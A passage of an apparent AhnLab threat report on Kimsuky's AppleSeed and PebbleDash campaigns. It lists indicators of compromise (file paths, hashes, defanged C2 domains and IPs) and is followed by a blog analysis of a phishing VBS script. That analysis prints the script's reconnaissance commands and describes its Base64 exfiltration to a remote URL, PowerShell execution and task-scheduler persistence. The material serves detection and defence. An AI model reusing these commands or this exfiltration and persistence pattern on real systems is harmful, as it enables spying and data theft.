+Trojan/Win64.Loader.C4019677 (2020.03.18.00)
+Trojan/WSF.Runner (2020.11.12.04)
+Unwanted/Win.Rdpwrap.C2410573 (2021.04.20.00)
+Unwanted/Win32.Rdpwrap.C2632304 (2018.07.26.01)
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Conclusion
+Kimsuky group is continuously launching social engineering attacks, such as spear phishing, against
+companies, public institutions, and individual users. Recent cases have shown frequent uses of malware
+AppleSeed and PebbleDash. Such backdoors can stay in the system, receive commands from the
+attacker, and perform various malicious tasks. As various malware strains for remote control and collecting
+information are additionally installed, companies and users targeted by the Kimsuky group are at risk of
+having key information within the system stolen.
+When there is a suspicious-looking email in the inbox, users must refrain from opening the attached files
+within the email. Also, anti-malware solutions, such as AhnLab V3, must be regularly updated to the latest
+version to prevent malware infections.
+IOC (Indicators of Compromise)
+Some IOCs were referred to third-party analysis reports. Thus, some were not verified as the sample
+could not be confirmed. The content may be updated without notice if new information is found.
+File Path and Name
+The file paths and names used from the threat group are listed below. Some malware and tool file may
+have the same name as that of normal files.
+Script
+image_confirm_v2.wsf
+Biden Administration Security Figures.wsf
+Plan for Establishing Control Tower in North Korea Denuclearization.wsf
+2021 **** Missions Service Survey.hwp.js
+Korean-Japan Relations.js
+*** News 2021-05-07.pdf jse
+PIF Dropper
+JR_210604_R1***_F***_Pf***.pif - (Certain strings blurred as ***)
+Colon Cancer Case.pif
+Progress Check_211013.pdf file
+211014-915mm(0deg).h5.pif
+210927 Covid-19 Response (Boryeong-Taean 1)_merged_edited.PIF
+1. 2021 Business Plan (Supplemented by referencing materials from Installation Agency) - 210316-1.pif
+ROK-US summit (May 21st) Reference Material (edited).pif
+2021 *** Work Report Edited.pif
+Downloader
+%ALLUSERSPROFILE%\Intel\Driverdriver.cfg
+%ALLUSERSPROFILE%\Intel\driver.cfg
+%APPDATA%\Intel\Driverdriver.cfg
+AppleSeed Installation Path
+%ALLUSERSPROFILE%\Software\Ahnlab\Service\AutoService.dll
+%ALLUSERSPROFILE%\Software\ControlSet\Service\ServiceScheduler.dll
+%ALLUSERSPROFILE%\Software\Defender\Windows\Update\AutoUpdate.dll
+%ALLUSERSPROFILE%\Software\ESTsoft\Common\ESTCommon.dll
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+%ALLUSERSPROFILE%\Software\KakaoTalk\KaoUpdate.ini
+%ALLUSERSPROFILE%\Software\Microsoft\AvastAntiVirus\AvastUpdate.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Avg\AvgSkin.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Network\NetworkService.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Printer\PrinterService.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Service\TaskScheduler.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Windows\AutoDefender\UpdateDB.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Windows\AutoPatch\patch.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Windows\Chrome\GoogleUpdate.dll
+%ALLUSERSPROFILE%\Software\Microsoft\WIndows\Defender\AutoCheck.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Windows\Defender\AutoUpdate.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Windows\Defender\update.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Windows\Explorer\FontChecker.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Windows\FontChecker.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Windows\MDF\WDFSync\WDFSync.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Windows\MetaSec\MetaSecurity.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Windows\Patch\patch.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Windows\Patch\plugin.dll
+%ALLUSERSPROFILE%\Software\Microsoft\Windows\Secrity\AutoCheck.dll
+%ALLUSERSPROFILE%\Software\Office\Update.dll
+%APPDATA%\ESTsoft\AlLUpdat\AlCommon.dll
+%APPDATA%\ESTsoft\AlLUpdate\AlCommon.dll
+%APPDATA%\ESTsoft\Common\ESTCommon.dll
+%APPDATA%\ESTsoft\Common\ESTUpdate.exe
+%APPDATA%\ESTsoft\Common\ko-kr.dll
+%APPDATA%\ESTsoft\updat\ESTCommon.dll
+%APPDATA%\Microsoft\Windows\Defender\AutoUpdate.dll
+%APPDATA%\Microsoft\Windows\Defender\patch.dll
+Meterpreter
+%ALLUSERSPROFILE%\edge\mtp.db
+%ALLUSERSPROFILE%\Intel\1060\update1060.cfg
+%ALLUSERSPROFILE%\intel\bin\update.cfg
+%ALLUSERSPROFILE%\m.db
+%ALLUSERSPROFILE%\ma.dat
+%ALLUSERSPROFILE%\ma.db
+%ALLUSERSPROFILE%\msedge\mtp.db
+%ALLUSERSPROFILE%\mt79.dat
+%ALLUSERSPROFILE%\mtp.dat
+%ALLUSERSPROFILE%\mtp.db
+%ALLUSERSPROFILE%\s\mtp.db
+%ALLUSERSPROFILE%\update.db
+%SystemDrive%\mav.db
+%SystemDrive%\netclient\k.txt
+%SystemDrive%\netclient\km.xml
+HVNC
+%ALLUSERSPROFILE%\mac\hvnc.db
+%ALLUSERSPROFILE%\s\hvnc.db
+%ALLUSERSPROFILE%\hvnc.dat
+TightVNC
+%ALLUSERSPROFILE%\edge\tvnc.db
+%ALLUSERSPROFILE%\msedge\tvnc.db
+%ALLUSERSPROFILE%\s\tvnc.dat
+%ALLUSERSPROFILE%\tvn.db
+%ALLUSERSPROFILE%\tvnc.dat
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+RDP Wrapper
+%ALLUSERSPROFILE%\rdp\rdpconf.exe
+%ALLUSERSPROFILE%\rdp\rdpwinst.exe
+%ProgramFiles%\rdp wrapper\rdpwrap.dll
+Malware for Adding Account
+%ALLUSERSPROFILE%\net.exe
+%ALLUSERSPROFILE%\net-add.exe
+%APPDATA%\media\wmi-ui-9cde8e85.db
+RDP Patch Malware
+%TEMP%\pms6e3e.tmp
+UACMe
+%ALLUSERSPROFILE%\su.db
+Privilege Escalation Malware
+%ALLUSERSPROFILE%\lala.exe
+%ALLUSERSPROFILE%\c.exe
+%ALLUSERSPROFILE%\lala.dll
+%ALLUSERSPROFILE%\n.dll
+Powerkatz
+%ALLUSERSPROFILE%\hi.db
+%ALLUSERSPROFILE%\edge\powerkatz-x64.exe
+%ALLUSERSPROFILE%\pacs8.exe
+%SystemDrive%\users\[User name]\documents\pkt.exe
+%SystemDrive%\users\[User name]\documents\1\pkt.exe
+%SystemDrive%\users\[User name]\documents\powerkatz-x64.exe
+Malware for Stealing Chrome Account Credentials
+%ALLUSERSPROFILE%\cc.dat
+Keylogger
+%ALLUSERSPROFILE%\ahnlab\install.cfg
+Proxy Malware
+%ALLUSERSPROFILE%\la.exe
+%ALLUSERSPROFILE%\ll.exe
+File Hashes (MD5)
+The MD5 of the related files is shown below. However, it might be omitted if there is a sensitive sample.
+Script
+357a56dbc9e8b43d8ca09a92eac9b429
+04b207967c38414d99a7da2b718c440f
+c7844002ba15798f2c240f2b629d90c2
+3a4ab11b25961becece1c358029ba611
+609f8450e024ed88b130f13d6d7b213f
+159dd4d84fd6c5d1bb807cdb02215cf8
+f0255dfcb932c3072c2489124b25b373
+e7cf7c466e90f2b580ce89e4f8ef2af6
+9c86a941cfb1ecbc580aea99b7d18e90
+6c82e7b8fe3fd401573a822f6d1455e9
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+d9064c446b39e23822cb3b2680a0e052
+8b274243a5179028388a2c17c75afb9f
+PIF Dropper
+96c6ad44b9bb85e9e57bfea7e441d131
+e8da7fcdf0ca67b76f9a7967e240d223
+aa65c226335539c162a9246bcb7ec415
+2ff981ba02b1c5a8487b858265b037de
+815c690bfc097b82a8f1d171cd00e775
+b567f7aac1574b2ba3a769702d2f6a1e
+93758669e4f689b2f3b8b9ee6189c3df
+7e041b101e1e574fb81f3f0cdf1c72b8
+946f787c129bf469298aa881fb0843f4
+PIF Dropper (UPX Unpack)
+51c19c3ac15f7434b777effd4e490b41
+e521c68ac280c00b0e27cbd2fed4c9c4
+Downloader
+e413c5922addcde26edc5d72c3f3163d
+768c84100d6e3181a26fa50261129287
+218b391172f990ec35e08a221b77fa14
+2a57aea6acc479332cf176aa9e976015
+23ea8eba791c783dd197ac3695b57a92
+acc36ffa4f40016b483deac1f78cf07d
+8414d95877acde1b2557d7ab8ac0119f
+6603e6628ca799ea21822d9952ce048a
+54a0fdabbdf7e77509850e25ab956094
+447163d776b62bf0b1c652c996cc0586
+ee5a33cc147a56fe8e77cc37a4320527
+Downloader (UPX Unpack)
+19e09cfdcfe0c255c50b67d52b6a7afe
+AppleSeed - HTTP
+7348d1f1f1ca3b7ff25b362231365904
+aef664a85be61781dc20af81a644cfa3
+f0dbc8a4d62ebb22c0bae473de1c98d2
+0d9f8b5b7417896508a49047a5eb18eb
+911937edadd017d5475570a1207bc3eb
+8355964a47f248ed39caccb733aabc44
+fd805335efa9ef39b121c7f1cec6ff83
+151af490f16384372473f7696c90aa2a
+07db667386e71a3334d79d93b26e930b
+2401ad5f935df2757214a84538bdfdde
+684b27302d9e5e6558651bd1ab50f5d7
+f928a8eb6a04e8c47eafbed8ff014ed1
+5c8afc7e08e480d10122c007b0b0cdf4
+fea415382e510eea7b49ddc68cbdc402
+7b6d65191d091bdd7c997ffcd670b018
+c9ede077ec500240864c47c69fe5c728
+5ce3a4eddba6ec8273db024b1813a530
+d228d8453f1249f2177f376bfae4b10f
+29d2895afb76ae73705b05847d3b2384
+d68454cfef64f71caaa9c4f44c016a68
+04d0856afb1aa9168377d6aa579c5403
+44222674cf1175859b1756038f030e2d
+866d2981320c69db5294d0761788f05a
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+2142739359fd0c614ffe3e2fcbc8c89d
+1ce204f16d458e78ed8de91c332545cc
+3913423877bd01729a63ba6dd075a19c
+d7b2cf6c8597d12d30aca68b277912af
+ba615365f00a2a631c6f8ccafdf52a80
+d214790381ab8d1bfb909ac0b0d38051
+d77dd109df7874e3c2cb72e9e169f909
+1eefdfd7b83c2be2c388acb4b19fdd50
+43e65ed5d864f0994277e4cdb217e9dd
+801894c7f962e48e2fa35260b8f37a65
+d6727e4a3f84d99d4e97ff6fb246c33b
+60a65964fe90e1fd7d3d50623ed05083
+89fff6645013008cda57f88639b92990
+66b33561a84a8a8b78883b5e83ef76e5
+de02fd9415983147bacfb839658aef7a
+cb9f97f06743c4592b5c5b0b2538ae5c
+373a04225dd9b0d99cab3ed9ca970a23
+b239679d6cd70e0d4ae30852005752ca
+ef75f528fb738e9519950bd615c85f8e
+ae47cd69cf321640d7eebb4490580681
+8814fc3d81b3a948f54b0c035ece41aa
+3d235aa8f66ddeec5dc4268806c22229
+537b319927c0a7fbfaa0d411283069e3
+076fcf70558836549151e7685adb1203
+9d00bf9a834d6d5361b4a281aaa9ddd0
+605c3dee08569692b67f25a47cb4a397
+10b9702f8096afa8c928de6507f7ecfe
+df14d5c8c7a1fb5c12e9c7882540c3c0
+41a8fc708ea0181c704a10b71771620c
+d3eee11514cf901b273bcbd4d91c8af5
+a44966b7ddddbc62d7eb967d34812840
+7c86ce42fed192ba7d1e09af0a7bf821
+4ea6280e76b8c9fd6432faab3e1566b7
+e6bc6e7fd86c5000d6557416e765ee7d
+03cf908006d0b6bcac671ebc88f1ddf7
+43917a2b19e25e3ffd110188404691d5
+5aa0393b910b3f94b327e4e6162265fc
+4d7816bb6f22dc76d3564e312a38ecc8
+ca5c311cdf05a4661dc490e0929cdef1
+a36414bf5195e523797d6e30a2e1225b
+157160589dc3d5bad2e7ed15629b87d6
+a03598cd616f86998daef034d6be2ec5
+85ae0be9411b1ab0d7644347af0f7f07
+ed17ac8d2ee4a3b145e5784887b2499a
+8b775c805427560a4cedd900c8e63863
+80a2bb7884b8bad4a8e83c2cb03ee343
+d916c3533a89e498159fc432d645edb8
+14e01ed4d086206d3c4b7159dc887f25
+739d14336826d078c40c9580e3396d15
+df0ed691353427377f58972a113b75eb
+165f120ac79eda977d10f2f5203ff067
+541fa4fb60690ffbe48b24cd2eeda32e
+e40cb1328cf00cc490a7239141db3661
+4d20e2f1c2e8e9503d2bf7d0422b7ac7
+171e12e3673eb0f934ce94cb583daccc
+7480f871e59de96aaf2a20271ef2eab6
+68eddf7fe33ac28a71f63437e2320b43
+2cb77491573acc5e8198d8cf68300106
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+07c52157eb97ebe792b03e3a9d8a8240
+499b72fc9973d2f2ee6679fd60d9dbaf
+876db1153d0689092619315a61138c47
+de9254369b928eaab82c84be777ebd05
+9f9fd9812bac6bc71fe553c82faede94
+bbc79820ccc040a54d2327ec28875377
+734e034f968f13b4fbe5eddf443c4435
+c7fbffb557c2006fd3316470e0c763d2
+a40d47de39d25452af79cf1a9f812ee1
+41950ac0d33adce8c8dcd0bed0e76591
+3c47e1074f0845f50b615f1fb99b3bd8
+1976fe2bc1011c02ff50c807f97cb230
+caa1a847d0ae3f3d647474f5db9069bf
+c019e4bd1d192e08c56135a501a828fe
+25afb96dc0db40d2de6313ce9fa7fdc7
+28e0e331b4657e2383978c3fba89d7af
+8f19fb2998e24bd05ff39bf2a704acd7
+4e58ea982e3e95fe7b1bdb480ab9810e
+AppleSeed - HTTP (UPX or Self Unpack)
+445299630a7675b2dbdc0ddfb08181a0
+21994210ecb683ebccfaeda7a58b93f4
+dd94918ac64425f9e14d3ee11fd22f26
+c9540a5128ff77cf184b894a09a2fbb0
+03b56d2764a29625fd7f804d0e431ab9
+2d1f1132ab7e80a6a8546dd2ac45bd89
+c1681bd8a0bfb54f208d2d1eee6693ec
+9465a1a8cd418b8737e4c1f7dbe919f7
+1de3b318b8a6636627004c6c43c87254
+179ebbc3ea95ebaf882e997c469e800b
+0ab009337ba3ed59560851db078e170a
+8abb227a7c90a24e57e987cbf1cea1b4
+907590565c5d3494addcd561736135df
+7842a386fcd8bb8572b19383fed0b1e1
+c688c60c94ead98f772c20cf18fb02d1
+b5e2fff1591aa8331a1b9dfd1b2be435
+c861f25bb943f77a909b33d62bb71926
+8220d11b69ad5e516234405e00e899e0
+5969b33fc2e70e9d007edd7ec8b8c7ea
+aed94d4b249d93c40c63267b9106f7a9
+7b623d8d8821cdea344b58e8b392a77a
+e6d6cb76e2c91b6771b4fb4e19785e76
+a22b6ee659d80bfc4e0d51f46973eff0
+e98fae79f1c389313fcc27343ea2e359
+0c4c830daac33221188e3c5461b35b6b
+AppleSeed - EMAIL
+98015898c06603cc50bf0ed1eaf8fdff
+8c5c844eb8612235cfbdf1fc8c59af65
+dacb71c5eac21b41bb8077fe2e9f5a25
+35ee0f5d686e72aba04253b0b39d19fe
+f2a39067724a227f6f7bc0f0602bae32
+18d94704439c9eda33ea49eab40d99a5
+0c6da2b9f9a5d8b3cf01f682c097f48b
+AppleSeed - EMAIL (UPX Unpack)
+2c49b207dcd0454e6e7486ce6126f3e0
+3bad087e698b257d5c3b8ac11392973d
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+40add75d64cebbc6f9054d0fa7a3d8cf
+1d759150d2364a2fd0db7c22049ada22
+6844589e2962b3914824cc8b90a552a6
+a213a2bdfb76bcb4957568f08f753b85
+Initial Version PebbleDash
+8251bd566bdc6363b53f73224e4bd12b
+bb9641441dbc300939077bc3a0b60846
+3998926526d5950c62ca2ec0225b8e7e
+232279212c0ac76e13c524ba32fb545b
+4ffcb40b7ef5f475e75d972dd69bb7fb
+c78523f37f856d9743638ce1b0128fcd
+7c2fcbb47a97709b7b4c7001000882fd
+b3ed33cf6d37e45b013afc4c6bbb84d9
+Initial Version PebbleDash (Self Unpack)
+baed0df969bdc9d914040b75bb3a7b8f
+Latest Version PebbleDash
+e33a34fa0e0696f6eae4feba11873f56
+bbab9d691b616df065049d4c1c4f356f
+5c04be3a9e52e04500e1b729988ab902
+3c3f2c3df0ddefebe51ce8fc9fd888f8
+a9a495491914257afc294fa6c2d215ba
+Latest Version PebbleDash (Unpacked)
+9fa3d317b62fe14eab225d56f3c9509d
+df0c27db9b5d8133d07b36d2c90eab56
+Meterpreter
+e37836c1f65fa321c7301c4062a1776c
+c61b965dae6f5e745f075825f3ec20d5
+420634db019dc28b89bf9d2e6fe5db6d
+107f917a5ddb4d3947233fbc9d47ddc8
+6e8406d6680899937f23c788a7008a11
+7f4624a8eb740653e2242993ee9e0997
+8ae6d97cfd68f3866a60b11d4dfbace5
+d5ad5ffde477e3bc154a17b4d74f401b
+d4da4660836d61db95dd91936e7cfa4a
+3ef24a88fe011e4f6ef2639966beefa8
+374a036525987bda63adeefd329e2b67
+0a3c27b2bf7cd8d0913102c2931f025b
+9cd1b48fba4ce9189d1cc6e522c8fbad
+7872a5dfce3c3212e9cbe40d1541f9f6
+7656801585f0c037834438a7d7f1288f
+06f5957a2247b6e1ae0f55a3c4633b45
+d010a3f121d80705e6622ded206835ac
+e192c1495e9d7cf18812a7a03a1e84f2
+07adf13da4b6087c458b91a519a97d83
+a714973224c833adb34aef84ff5e20f3
+7f6ea229797148c0cd399132fb6e4069
+3cfb46d86380f53788e5712a912ae6a5
+11c6f97aaa583fc631f34af918516873
+37e7d679cd4aa788ec63f27cb02962ea
+e582cf21c5f1951cf4dffd79d7e5403d
+Meterpreter (UPX Unpack)
+11d3b490638d0376afe3540df88a6476
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+HVNC
+00ced88950283d32300eb32a5018dada
+535827d41b144614e582167813fbbc4c
+67aa7ddecc758dddfa8afc9d4c208af1
+93efab6654a67af99bbc7f0e8fcf970f
+f7839eeb778ff17cf3c3518089f9bbec
+dd90cb5dcd7bd748baa54da870df606c
+5bd6cb6747f782c0a712b8e1b1f0c735
+16c0e70e63fcb6e60d6595eacbd8eeba
+76c5f8173c93acc11328602cfae6c1aa
+HVNC (UPX Unpack)
+a1bcf8508c52b1cc7c353eddc36edbd5
+1f498103d59cc423bb2136f100ead563
+99c200d13b4ab4f61e1c41ff99296204
+TightVNC
+26eaff22da15256f210762a817e6dec9
+088cb0d0628a82e896857de9013075f3
+9a71e7e57213290a372dd5277106b65a
+db4ff347151c7aa1400a6b239f336375
+4301a75d1fcd9752bd3006e6520f7e73
+a07ddce072d7df55abdc3d05ad05fde1
+5b6da21f7feb7e44d1f06fbd957fd4e7
+4fdba5a94e52191ce9152a0fe1a16099
+bb761c2ac19a15db657005e7bc01b822
+TightVNC (UPX Unpack)
+be14ced87e2203ad5896754273511a14
+rdpconf.exe
+03fb8e478f4ba100d37a136231fa2f78
+rdpwinst.exe
+1177fecd07e3ad608c745c81225e4544
+rdpwinst.exe (UPX Unpack)
+887003ed5ecba696d58d36e495f194b9
+rdpwrap.dll
+461ade40b800ae80a40985594e1ac236
+Malware for Adding Account
+5de4061060f363a7b8821368548b4ffa
+a5ef533b1ab7f99678981a2921010091
+Malware for Adding Account (UPX Unpack)
+a77c57f9762325f476eea6beef85e330
+bb8a3d46abe639a429137d82000e9374
+RDP Patch Malware
+e94f99d08a85de47e4b64fd1d38f2586
+UACMe
+bfd9090cd62ae39da81698601c208952
+UACMe (UPX Unpack)
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+9b194fd9a101f5880976d1a36c416550
+Privilege Escalation Malware
+4c814e4344f8865b58bdd7f54436b355
+8c8207fa4050635f43ff6e7f712c658b
+8ec1e9f9bfb99e560b1b489e95713313
+Powerkatz
+e83578514353897b42f5bebe3d7603f1
+afafb039d9143257d68553cafacc1992
+Powerkatz (UPX Unpack)
+96dbe0326dad80b1f3de6bb156a727c8
+Malware for Stealing Chrome Account Credentials
+4f01512ba32bc4d6cc2a6884ed569e55
+Keylogger
+2978850265521ef9d820fc127f5ca77d
+cb4f6a13a94d6fc2c4cd1a6ba416a3d5
+Keylogger (UPX Unpack)
+4a74790ca680dc58fa64b7cfc94d7ed3
+db9bbea9674a494b1d43c73237bb28b9
+Proxy Malware
+34c07d081f4d0959a4ba68de36229256
+fab60b7dabd444341023055638dee1bc
+Related Domain, URL, and IP Address
+The download and C&C URLs that are used are listed below. (http was changed to hxxp.) The URL may
+be omitted if it contains sensitive information.
+PIF Dropper
+hxxp://pollor.p-e[.]kr/?query=5
+hxxp://get.seino.p-e[.]kr/?query=5
+hxxp://d.vtotal.n-e[.]kr/?query=5
+hxxp://exchange.amikbvx[.]cf/?query=5
+hxxp://mail.kumb[.]cf/?query=5
+hxxp://vpn.atooi[.]ga/?query=5
+VBS Malware
+hxxp://get.seino.p-e[.]kr
+Downloader
+hxxp://ai.woani[.]ml
+hxxp://app.veryton[.]ml
+hxxp://biz.gooroomee[.]ml
+hxxp://com.dshec[.]ml
+hxxp://eastsea.or[.]kr
+hxxp://hao.aini.pe[.]hu
+hxxp://imap.pamik[.]cf
+hxxp://love.krnvc[.]ga
+hxxp://pc.ac-kr.esy[.]es
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+AppleSeed - HTTP
+hxxp://accont.estcoft.kro[.]kr//
+hxxp://account.googledriver[.]ga//
+hxxp://adobe.acrobat.kro[.]kr//
+hxxp://ahnlab.check.pe[.]hu/upload/
+hxxp://alps.travelmountain[.]ml//
+hxxp://anto.shore[.]ml//
+hxxp://aprodite.olympus.kr-infos[.]com//
+hxxp://banana.baochoiah[.]store//
+hxxp://banana.raminunahg[.]space//
+hxxp://beast.16mb[.]com//
+hxxp://benz-oh-haapy.96[.]lt//
+hxxp://bhigr.baochoiah[.]store//bnioww/
+hxxp://bmw-love.890m[.]com//
+hxxp://boars.linecover[.]xyz//
+hxxp://channel-shop.manage-tech[.]club//
+hxxp://check.sejong-downloader.pe[.]hu//
+hxxp://cold.miontranck[.]host/drink/
+hxxp://confirm.assembly-check-loader.pe[.]hu//
+hxxp://cordova2020.esy[.]es//
+hxxp://cuinm.huikm.kro[.]kr//
+hxxp://dept.lab.hol[.]es//
+hxxp://depts.washington[.]edu/dswkshp/wordpress/wp-content/themes/twentyfifteen/inc/io/
+hxxp://do.giveme.r-e[.]kr//
+hxxp://dongnam2014.cafe24[.]com/image/main/sub/
+hxxp://driver.spooler.p-e[.]kr//
+hxxp://eastsea.or[.]kr//
+hxxp://elle-mart.pe[.]hu//
+hxxp://estsft.autoupdate.kro[.]kr//
+hxxp://ffd-fund.pe[.]hu//
+hxxp://greatname.000webhostapp[.]com//
+hxxp://help.mappo-on[.]life//
+hxxp://help.octo-manage[.]net//
+hxxp://helper.canvas-life[.]me//
+hxxp://help-super.pe[.]hu//
+hxxp://hotmail.mail-help[.]me/file1/
+hxxp://hotmail.mail-help[.]me/file2/
+hxxp://ijljhsw.heroheroin.host//
+hxxp://inchon.decaft[.]live//
+hxxp://iuqsd.baochoiah[.]store/zvxcty/
+hxxp://kamaze-love.96[.]lt//
+hxxp://kcxxwr.pagelock.host//
+hxxp://mail-post-check[.]pe.hu//
+hxxp://mjseu.dogshouse[.]online//
+hxxp://monkey.funnystory[.]tech//
+hxxp://nahika.webguiden[.]online//
+hxxp://office.lab.hol[.]es//
+hxxp://onedrive-upload.ikpoo[.]cf//
+hxxp://park.happysunday[.]space//
+hxxp://part.bigfile.pe[.]hu//
+hxxp://ping.requests.p-e[.]kr//
+hxxp://platoon.soliders[.]uno//
+hxxp://ppahjcz.tigerwood.tech//
+hxxp://proce.soute.kro[.]kr//
+hxxp://projectgreat.000webhostapp[.]com//
+hxxp://rolls-royce-love.890m[.]com//
+hxxp://seoul.lastpark[.]life//
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+hxxp://smile.happysunday[.]space//
+hxxp://snow-mart.pe[.]hu//
+hxxp://snu-ac-kr.pe[.]hu//
+hxxp://studio.lab.hol[.]es//
+hxxp://studio-sp.lab.hol[.]es//
+hxxp://suzuki.datastore.pe[.]hu//
+hxxp://term.invertion[.]press//
+hxxp://texts.letterpaper[.]press//
+hxxp://update.hdac-tech[.]com//
+hxxp://update.netsvc.n-e[.]kr//
+hxxp://update.nhuyj.r-e[.]kr//
+hxxp://update.ssnuh.kro[.]kr//
+hxxp://updown.kasse-tech[.]club//
+hxxp://upload.bigfile.hol[.]es//
+hxxp://upload.bigfile-nate.pe[.]hu//
+hxxp://upload.mydrives[.]ml//
+hxxp://upload.myfilestore[.]cf//
+hxxp://upload-confirm.esy[.]es//
+hxxp://washer.cleaninter[.]online//
+hxxp://yes24-mart.pe[.]hu//
+hxxp://yes24-mart.pe[.]hu/bear/
+hxxp://you.ilove.n-e[.]kr//
+AppleSeed - EMAIL
+helper.1.1030@daum[.]net
+k1a0604a@daum[.]net
+k1sheliak88@daum[.]net
+k1-tome@daum[.]net
+k21yn@daum[.]net
+k2x0604@daum[.]net
+Initial Version PebbleDash
+41.92.208[.]195:443
+98.159.16[.]132:443
+211.233.13[.]11:443
+112.217.108[.]138:443
+Latest Version PebbleDash
+hxxp://movie.youtoboo.kro[.]kr/test.php
+hxxp://news.scienceon.r-e[.]kr/view.php
+hxxp://www.onedriver.kro[.]kr/update.php
+PebbleDash Download URL
+hxxp://new.jungwoo97[.]com/install.bak/1u.exe
+hxxp://new.jungwoo97[.]com/install.bak/1.exe
+Meterpreter
+23.106.122[.]239:3001
+27.102.112[.]44:8080
+27.102.114[.]63:3001
+27.102.114[.]63:80
+27.102.127[.]240:3001
+27.255.79[.]204:30000
+27.255.81[.]109:3015
+31.172.80[.]100:3001
+31.172.80[.]104:3001
+37.172.80[.]104:3001
+64.14.211[.]175:3015
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+79.133.41[.]237:4001
+79.133.41[.]248:5600
+210.16.120[.]251:443
+HVNC
+27.102.102[.]70:33890
+27.102.112[.]58:33890
+27.255.81[.]109:33890
+27.255.81[.]71:33890
+31.172.80[.]104:3030
+61.14.211[.]174:33890
+79.133.41[.]237:3030
+TightVNC
+27.102.114[.]79:5500
+27.102.114[.]89:5500
+27.102.127[.]240:5500
+27.102.128[.]169:5500
+27.255.81[.]109:5500
+27.255.81[.]71:5500
+31.172.80[.]104:5500
+61.14.211[.]175:5500
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+Reference
+https://vblocalhost.com/conference/presentations/operation-newton-hi-kimsuky-did-an-appleseedreally-fall-on-newtons-head/
+[2] https://github.com/curl/curl
+[3] https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133c
+https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i=8709a7d6-561a-4df3-8bd1a5fedce07717 (Analysis Report on Privilege Escalation Using UAC Bypass)
+[5] https://asec.ahnlab.com/ko/1160/ (GandCrab v4.3 distributed in the Nullsoft installer form)
+[6] https://github.com/hlldz/CVE-2021-1675-LPE/
+https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i=cc8cf212-f3ca-4134-812d0e471d888923 (Analysis Report of the Internal Propagation Technique Using Mimikatz)
+Analysis Report of Kimsuky Group's APT Attacks (AppleSeed, PebbleDash)
+AhnLab Cyber Threat Intelligence Report
+This report is protected by copyright law. You may not reprint or reproduce this material for profit
+without permission.
+When citing or editing the entirety or a part of the report, please state that this report is a publication
+of AhnLab.
+* If you have any inquiries about the information about the report or its distribution, please contact
+AhnLab (global.sales@ahnlab.com).
+The report can be viewed via https://atip.ahnlab.com.
+ AhnLab, Inc. All rights reserved.
+ AhnLab, Inc.
+220, Pangyoyeok-ro, Bundang-gu, Seongnam-si, Gyeonggi-do 13493, Korea
+Tel: +82 -31-722-8000
+Purchase Inquiry: global.sales@ahnlab.com
+Fax: +82-31-722-8901
+www.ahnlab.com
+APT attack disguised as North Korean defector resume
+format (VBS script)
+asec.ahnlab.com/ko/33141
+March 29, 2022
+The ASEC analysis team recently confirmed that malicious VBS for the purpose of
+information leakage is being distributed through phishing emails related to North Korea. It
+contains the contents of a broadcast related to North Korea, and a compressed file is
+attached. Referring to writing a resume, induce execution of the attached file. A malicious
+VBS script file exists inside the compressed file.
+Figure 1. dissemination email
+Figure 2. attached compressed file
+The brief behavior of the '2022 resume form.vbs' file is as follows.
+Information Collection and Transmission
+Generating a normal Korean file
+Creating additional malicious script files and registering the task scheduler
+When the VBS file is executed, information of the user's PC is collected through the following
+command.
+Information Collected
+command
+List of currently running
+processes
+cmd /c tasklist /v | clip
+routing table information
+cmd /c Route print | clip
+About Program Files folder
+cmd /c dir /w 
+%SystemRoot%/../Program Files
+clip
+About Program Files (x86)
+folder
+cmd /c dir /w 
+%SystemRoot%/../Program Files
+(x86)
+ | clip
+Table 1. Information Collected
+After encoding the collected information in Base64, it is transmitted to
+hxxp://fserverone.webcindario[.]com/contri/sqlite/msgbugPlog.php.
+Parameter value: Cache=error&Sand=[User name]&Data=[base64-encoded collection
+information]&Em=[base64-encoded user name]
+Also, in order to disguise as a normal file, the Korean file created with the '2022.hwp'
+command is executed in the folder where the '2022 resume form.vbs' file is executed. The
+Korean file contains the contents of the resume format as follows.
+Figure 3. Hangul file inside
+Figure 4. Hangul file properties
+After that, the data present in the response received from the URL that transmitted the
+information is executed using PowerShell. Also, the %appdata%\mscornet.vbs file created
+through the corresponding response is registered in the task scheduler as the Google Update
+Source Link name. In addition to this, copy mscornet.vbs to the startup program folder so
+that the VBS file can be executed automatically, and then self-delete the '2022 resume
+form.vbs' file.
+Figure 5. created task scheduler
+Currently, no special response is received from
+hxxp://fserverone.webcindario[.]com/contri/sqlite/msgbugPlog.php, which sent the
+information, but the received response recorded in RAPIT, our automatic analysis system
+(confirmed on 3/26) ) contains additional commands.
+In the response message, use PowerShell to save base64-encoded data in
